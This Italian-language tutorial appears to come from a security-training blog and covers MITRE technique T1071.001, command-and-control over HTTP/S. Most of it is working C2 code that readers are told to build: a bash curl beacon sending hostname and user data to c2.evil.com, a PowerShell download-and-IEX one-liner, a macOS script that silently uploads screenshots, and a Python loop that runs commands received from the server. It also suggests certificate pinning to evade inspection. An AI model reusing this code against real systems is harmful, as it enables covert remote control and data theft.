Protocolli Web: Application Layer Protocol - Web Protocols (T1071.001)
I protocolli web rappresentano l'autostrada invisibile del cyberspazio moderno. Questa tecnica sfrutta HTTP, HTTPS e WebSocket per nascondere comunicazioni malevole nel traffico legittimo, rendendole praticamente indistinguibili dalle normali attività di navigazione. Gli attaccanti inseriscono comandi e risultati all'interno di header HTTP, parametri GET/POST o payload WebSocket, mimetizzandosi tra milioni di richieste legittime.
La tecnica appartiene alla tattica TA0011 - Command and Control, posizionandosi nella fase finale della kill chain quando l'attaccante ha già compromesso il sistema e cerca di mantenere il controllo remoto. Con 56 gruppi APT documentati, 329 software malevoli e 21 campagne confermate, questa rimane una delle tecniche più abusate nel panorama delle minacce moderne.
L'impatto è devastante: dal 2015, gruppi come APT28 hanno utilizzato HTTPS per esfiltrare terabyte di dati sensibili da agenzie governative, mentre Lazarus Group ha monetizzato questa tecnica in attacchi finanziari multimilionari. La preferenza per i protocolli web deriva dalla loro ubiquità - bloccare completamente HTTP/S paralizzerebbe qualsiasi organizzazione moderna.
Iniziamo con un beacon HTTP minimalista che simula il comportamento di Carbanak. Su Linux, create un semplice C2 client che comunica ogni 60 secondi:
while true; do
curl -s -X POST https://c2.evil.com/beacon \
-H "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)" \
-d "id=$(hostname)&data=$(whoami | base64)" \
--proxy http://corporate-proxy:8080
sleep 60
done
Per Windows, PowerShell offre capacità native devastanti. Questo one-liner scarica ed esegue payload mascherandosi da Internet Explorer:
$wc = New-Object System.Net.WebClient;
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('https://pastebin.com/raw/malicious')
Su macOS, sfruttiamo AppleScript per comunicazioni stealth. Questo script invia screenshot ogni 5 minuti mascherandosi da Safari:
osascript -e 'do shell script "screencapture -x /tmp/screen.png && curl -F file=@/tmp/screen.png https://c2.evil.com/upload -A \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15\""'
Per ambienti containerizzati, Python con requests emula perfettamente traffico legittimo:
import requests, json, time, subprocess
while True:
cmd = requests.get('https://c2.evil.com/tasks',
headers={'X-API-Key': 'legit-looking-token'}).text
result = subprocess.check_output(cmd, shell=True)
requests.post('https://c2.evil.com/results',
json={'output': result.decode(), 'host': socket.gethostname()})
time.sleep(300)
CHOPSTICK di APT28 utilizzava certificati SSL pinned per evitare ispezione. Replicate questo comportamento verificando fingerprint specifici prima di comunicare. WebSocket offre persistenza superiore - stabilite tunnel bidirezionali che sopravvivono a proxy restrittivi utilizzando socket.io o implementazioni native.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo